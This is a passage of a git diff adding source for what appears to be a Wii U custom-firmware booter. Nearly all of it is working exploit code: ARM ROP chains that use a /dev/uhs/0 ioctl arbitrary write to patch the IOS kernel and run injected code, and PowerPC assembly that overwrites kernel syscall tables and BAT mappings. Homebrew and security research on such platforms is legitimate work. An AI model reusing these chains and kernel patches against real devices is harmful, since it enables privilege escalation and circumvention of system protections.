+ 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(int dev_uhs_0_handle) { + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + void (* DCStoreRange)(const void *addr, uint32_t length); + + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); + + + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel, sizeof(ios_kernel)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + payloads->size = sizeof(ios_usb); + memcpy(payloads->data, ios_usb, payloads->size); + + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel)); + DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) { + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + void (* DCStoreRange)(const void *addr, uint32_t length); + int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); + void (* OSSleepTicks)(uint64_t length); + + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); + + + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} + +int ExecuteIOSExploit() { + + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + int (*IOS_Open)(char *path, unsigned int mode); + int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); + int (*IOS_Close)(int fd); + + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close); + + + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0) { + return dev_uhs_0_handle; + } + + uhs_exploit_init(dev_uhs_0_handle); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + return 0; +} diff --git a/src/ios_exploit.h b/src/ios_exploit.h new file mode 100644 index 0000000..c7dceec --- /dev/null +++ b/src/ios_exploit.h @@ -0,0 +1,14 @@ +#ifndef _IOS_EXPLOIT_H_ +#define _IOS_EXPLOIT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int ExecuteIOSExploit(); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/kernel.cpp b/src/kernel.cpp new file mode 100644 index 0000000..4ca613f --- /dev/null +++ b/src/kernel.cpp @@ -0,0 +1,84 @@ +/**************************************************************************** + * Copyright (C) 2018-2020 Maschell + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ + +#include +#include +#include +#include +#include + +#include "kernel.h" + +/* assembly functions */ +extern "C" void Syscall_0x36(void); +extern "C" void KernelPatchesRevertHook(void); +extern "C" void KernelPatches(void); + +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); + +extern "C" void SC_0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); + +extern "C" void SCKernelCopyData(unsigned int addr, unsigned int src, unsigned int len); + +void KernelWriteU32(uint32_t addr, uint32_t value) { + ICInvalidateRange(&value, 4); + DCFlushRange(&value, 4); + + auto dst = (uint32_t) OSEffectiveToPhysical(addr); + auto src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value); + + SC_0x25_KernelCopyData(dst, src, 4); + + DCFlushRange((void *) addr, 4); + ICInvalidateRange((void *) addr, 4); +} + +void revertMainHook() { + KernelWriteU32(0x0101c56c, 0x4E800421); +} + +void doKernelSetup() { + kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), (unsigned int) KernelPatches); + kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), (unsigned int) KernelPatches); + kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), (unsigned int) KernelPatches); + kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), (unsigned int) KernelPatches); + kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), (unsigned int) KernelPatches); + + Syscall_0x36(); +} + +/* Write a 32-bit word with kernel permissions */ +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} diff --git a/src/kernel.h b/src/kernel.h new file mode 100644 index 0000000..516f8f0 --- /dev/null +++ b/src/kernel.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2018-2020 Maschell + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ + +#pragma once + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#ifdef __cplusplus +extern "C" { +#endif + +void doKernelSetup(); + +void revertMainHook(); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/src/kernel_asm.S b/src/kernel_asm.S new file mode 100644 index 0000000..bbad787 --- /dev/null +++ b/src/kernel_asm.S @@ -0,0 +1,210 @@ +.section ".kernel_code" + .globl SaveAndResetDataBATs_And_SRs_hook +SaveAndResetDataBATs_And_SRs_hook: + # setup CTR to the position we need to return to + mflr r5 + mtctr r5 + # set link register to its original value + mtlr r7 + # setup us a nice DBAT for our code data with same region as our code + mfspr r5, 560 + mtspr 570, r5 + mfspr r5, 561 + mtspr 571, r5 + # restore the original kernel instructions that we replaced + lwz r5, 0x34(r3) + lwz r6, 0x38(r3) + lwz r7, 0x3C(r3) + lwz r8, 0x40(r3) + lwz r9, 0x44(r3) + lwz r10, 0x48(r3) + lwz r11, 0x4C(r3) + lwz r3, 0x50(r3) + isync + mtsr 7, r5 + # jump back to the position in kernel after our patch (from LR) + bctr + + +#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 +# not all of those NOP address are required for every firmware +# mainly these should stop the kernel from removing our IBAT4 and DBAT5 +#define BAT_SET_NOP_ADDR_1 0xFFF06B6C +#define BAT_SET_NOP_ADDR_2 0xFFF06BF8 +#define BAT_SET_NOP_ADDR_3 0xFFF003C8 +#define BAT_SET_NOP_ADDR_4 0xFFF003CC +#define BAT_SET_NOP_ADDR_5 0xFFF1D70C +#define BAT_SET_NOP_ADDR_6 0xFFF1D728 +#define BAT_SET_NOP_ADDR_7 0xFFF1D82C + +#define BAT_SET_NOP_ADDR_8 0xFFEE11C4 +#define BAT_SET_NOP_ADDR_9 0xFFEE11C8 + +#define BAT_SETUP_HOOK_ENTRY 0x00FD0000 + + +#define BAT4U_VAL 0x008000FF +#define BAT4L_VAL 0x30800012 + + +#define SET_R4_TO_ADDR(addr) \ + lis r3, addr@h ; \ + ori r3, r3, addr@l ; \ + stw r4, 0(r3) ; \ + dcbf 0, r3 ; \ + icbi 0, r3 ; + + .globl Syscall_0x36 +Syscall_0x36: + li r0, 0x3600 + sc + blr + + .globl KernelPatches +KernelPatches: + # store the old DBAT0 + mfdbatu r5, 0 + mfdbatl r6, 0 + + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFF0 + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFF0 + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though + # just chosen because its simple + lis r3, BAT_SETUP_HOOK_ADDR@h + ori r3, r3, BAT_SETUP_HOOK_ADDR@l + + # make the kernel setup our section in IBAT4 and + # jump to our function to restore the replaced instructions + lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h + ori r4, r4, BAT4L_VAL@h + stw r4, 0x00(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l + ori r4, r4, BAT4L_VAL@l + stw r4, 0x04(r3) + lis r4, 0x7cf1 # mtspr 561, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x08(r3) + lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h + ori r4, r4, BAT4U_VAL@h + stw r4, 0x0C(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l + ori r4, r4, BAT4U_VAL@l + stw r4, 0x10(r3) + lis r4, 0x7cf0 # mtspr 560, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x14(r3) + lis r4, 0x7c00 # eieio + ori r4, r4, 0x06ac + stw r4, 0x18(r3) + lis r4, 0x4c00 # isync + ori r4, r4, 0x012c + stw r4, 0x1C(r3) + lis r4, 0x7ce8 # mflr r7 + ori r4, r4, 0x02a6 + stw r4, 0x20(r3) + lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY + ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l + stw r4, 0x24(r3) + + # flush and invalidate the replaced instructions + lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h + ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l + dcbf 0, r3 + icbi 0, r3 + lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h + ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l + dcbf 0, r3 + icbi 0, r3 + sync + + # setup IBAT4 for core 1 at this position (not really required but wont hurt) + # IBATL 4 + lis r3, BAT4L_VAL@h + ori r3, r3, BAT4L_VAL@l + mtspr 561, r3 + + # IBATU 4 + lis r3, BAT4U_VAL@h + ori r3, r3, BAT4U_VAL@l + mtspr 560, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + # nop on IBATU 4 and DBAT 5 set/reset +#ifdef BAT_SET_NOP_ADDR_1 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) +#endif +#ifdef BAT_SET_NOP_ADDR_2 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) +#endif +#ifdef BAT_SET_NOP_ADDR_3 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) +#endif +#ifdef BAT_SET_NOP_ADDR_4 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) +#endif +#ifdef BAT_SET_NOP_ADDR_5 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) +#endif +#ifdef BAT_SET_NOP_ADDR_6 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) +#endif +#ifdef BAT_SET_NOP_ADDR_7 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) +#endif + +#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFEE + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFEE + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) +#endif + + # memory barrier + eieio + isync + + # restore DBAT 0 and return from interrupt + mtdbatu 0, r5 + mtdbatl 0, r6 + + # memory barrier + eieio + isync + + blr + diff --git a/src/kernel_copy.S b/src/kernel_copy.S new file mode 100644 index 0000000..434a7c0 --- /dev/null +++ b/src/kernel_copy.S @@ -0,0 +1,27 @@ +.global SCKernelCopyData +SCKernelCopyData: + // Disable data address translation + mfmsr %r6 + li %r7, 0x10 + andc %r6, %r6, %r7 + mtmsr %r6 + + // Copy data + addi %r3, %r3, -1 + addi %r4, %r4, -1 + mtctr %r5 +SCKernelCopyData_loop: + lbzu %r5, 1(%r4) + stbu %r5, 1(%r3) + bdnz SCKernelCopyData_loop + + // Enable data address translation + ori %r6, %r6, 0x10 + mtmsr %r6 +blr + +.global SC_0x25_KernelCopyData +SC_0x25_KernelCopyData: + li %r0, 0x2500 + sc +blr \ No newline at end of file diff --git a/src/link.ld b/src/link.ld new file mode 100644 index 0000000..ef75601 --- /dev/null +++ b/src/link.ld @@ -0,0 +1,26 @@ +OUTPUT(payload.elf); + +ENTRY(_start); + +SECTIONS { + . = 0x00FD0000; + .text : { + *(.kernel_code*); + *(.text*); + /* Tell linker to not garbage collect this section as it is not referenced anywhere */ + KEEP(*(.kernel_code*)); + } + .data : { + *(.rodata*); + *(.data*); + *(.sdata*); + *(.bss*); + *(.sbss*); + } + __CODE_END = .; + /DISCARD/ : { + *(*); + } +} + +ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x30000, "elf is too big"); \ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..983c9d9 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils/logger.h" +#include "dynamic.h" +#include "kernel.h" +#include "main.h" +#include "ios_exploit.h" + +extern "C" void OSForceFullRelaunch(); + +extern "C" uint32_t _start(int argc, char **argv) { + doKernelSetup(); + InitFunctionPointers(); + + WHBLogUdpInit(); + + DEBUG_FUNCTION_LINE("Hello from cfw_booter"); + + ExecuteIOSExploit(); + + revertMainHook(); + + OSForceFullRelaunch(); + SYSLaunchMenu(); + + if ( + OSGetTitleID() == 0x000500101004A200L || // mii maker eur + OSGetTitleID() == 0x000500101004A100L || // mii maker usa + OSGetTitleID() == 0x000500101004A000L) { // mii maker jpn + + DEBUG_FUNCTION_LINE("We are in mii maker"); + // return to mii maker. + return ( (int (*)(int, char **))(*(unsigned int*)0x1005E040) )(argc, argv); + } else { + DEBUG_FUNCTION_LINE("We are in another payload"); + uint32_t result = 0; + result |= 4; // Proc UI loop + return result; + } + return 0; +} diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..6c23a65 --- /dev/null +++ b/src/main.h @@ -0,0 +1,22 @@ +//Main.h +#ifndef _MAIN_H_ +#define _MAIN_H_ + + +/* Main */ +#ifdef __cplusplus +extern "C" { +#endif + + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) + +//! C wrapper for our C++ functions +int Menu_Main(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/utils/logger.h b/src/utils/logger.h new file mode 100644 index 0000000..bc85221 --- /dev/null +++ b/src/utils/logger.h @@ -0,0 +1,19 @@ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define __FILENAME_X__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__) +#define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__) + +#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \ + WHBLogPrintf("[%23s]%30s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \ + } while (0) + +#ifdef __cplusplus +} +#endif